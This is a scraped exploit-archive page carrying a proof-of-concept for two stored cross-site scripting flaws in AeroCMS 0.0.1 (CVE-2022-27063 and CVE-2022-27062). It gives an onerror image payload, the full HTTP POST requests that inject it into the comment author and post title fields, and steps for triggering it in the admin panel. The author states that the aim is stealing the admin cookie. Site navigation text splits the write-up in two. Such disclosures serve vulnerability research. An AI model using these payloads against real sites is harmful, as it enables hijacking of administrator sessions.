AeroCMS 0.0.1 Cross Site Scripting

Authored by D4rkP0w4r | Site raw.githubusercontent.com

Posted Apr 8, 2022

AeroCMS version 0.0.1 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2022-27063, CVE-2022-27062
SHA-256 | fa1ab26d07081403eee9933485a8b328979914f96f9788b0795841ffbd7413bc

Download | Favorite | View

Related Files

Change Mirror Download

```
# AeroCMS-Comment-Stored_XSS-POC
# Author: D4rkP0w4r
* Note => Don't need register or login account
* Description => Stored_XSS at comment box

## Step to Reproduct
* Click Read More -> input payload <img/src/onerror=prompt(10)> at Author -> click Submit button

# Exploit
* Input payload at Author -> click Submit button
* When admin login to admin panel and click Comments -> The XSS will trigger
* Finally, Success !!!!

# Vulnerable Code
* view_all_comments.php
* Stored xss in comment section
* Impact is to get the cookie and execute the js code in the admin panel
* Because Comments are displayed in admin panel
* post.php
* No encoding is implemented when inserting data to database

# POC
* Injection Point
comment_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment_email=bin%40gmail.com&comment_content=hacked&c

* Request
POST /AeroCMS/post.php?p_id=36 HTTP/1.1
Host: localhost:8080
Content-Length: 126
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/95.0.4638.54 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/AeroCMS/post.php?p_id=36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=loqbtlibs376hge1s415srq441
Connection: close

comment_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment_email=bin%40gmail.com&comment_content=hacked&c



POC VIDEO https://drive.google.com/file/d/1GxOyX1JkG0trfdaCLfe06TR6WLIGoUXE/view?usp=sharing


----

# AeroCMS-Add_Posts-Stored_XSS-Poc
* Description => Stored_XSS at Post Title

## Step to Reproduct
* Login to admin panel -> Posts -> Add Posts -> Post Title -> inject payload <img/src/onerror=prompt(10)> ->
The XSS will trigger when clicked Edit Post button

## Vulnerable Code
* add_post.php
When inserting into the database, the input is not filtered out of html characters
* post.php

Even when displaying, the entity cannot be properly encoded
-----------------------------------------------------------------
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

- Red Hat 186 files
- Ubuntu 52 files
- Gentoo 44 files
- Debian 27 files
- Apple 25 files
- Google Security Research 14 files
- malvuln 10 files
- nu11secur1ty 6 files
- mjurczyk 4 files
- George Tsimpidas 3 files

File Tags

- ActiveX (932)
- Advisory (79,557)
- Arbitrary (15,643)
- BBS (2,859)
- Bypass (1,615)
- CGI (1,015)
- Code Execution (6,913)
- Conference (672)
- Cracker (840)
- CSRF (3,288)
- DoS (22,541)
- Encryption (2,349)
- Exploit (50,293)
- File Inclusion (4,162)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,656)

File Archives

- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- December 2021
- Older

Systems

- AIX (426)
- Apple (1,926)

```
# POC
* Injection Point
-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="post_title"

<img/src/onerror=prompt(10)>

* Request
POST http://localhost:8080/AeroCMS/admin/posts.php?source=edit_post&p_id=26 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----------------------------8544812134194251195221906229l
Content-Length: 1101
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/AeroCMS/admin/posts.php?source=edit_post&p_id=26
Cookie: Phpstorm-6b6ba5ee=79a50460-3b02-4cde-a5a4-ff6883c16a7b; PHPSESSID=ndh6ks953tmhalps8cfp4bplf2
Upgrade-Insecure-Requests: 1

-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="post_title"

<img/src/onerror=prompt(10)>
-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="post_category_id"

1
-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="post_user"

admin
-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="post_status"

published
-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="post_tags"

1
-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="post_content"

<p>111</p>
-----------------------------8544812134194251195221906229l
Content-Disposition: form-data; name="update_post"

Edit Post
-----------------------------8544812134194251195221906229l--


POC VIDEO
https://drive.google.com/file/d/1kMGPBLKgefvKZj34QxDlPTxXdcT0kRR_/view?usp=sharing
```


Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed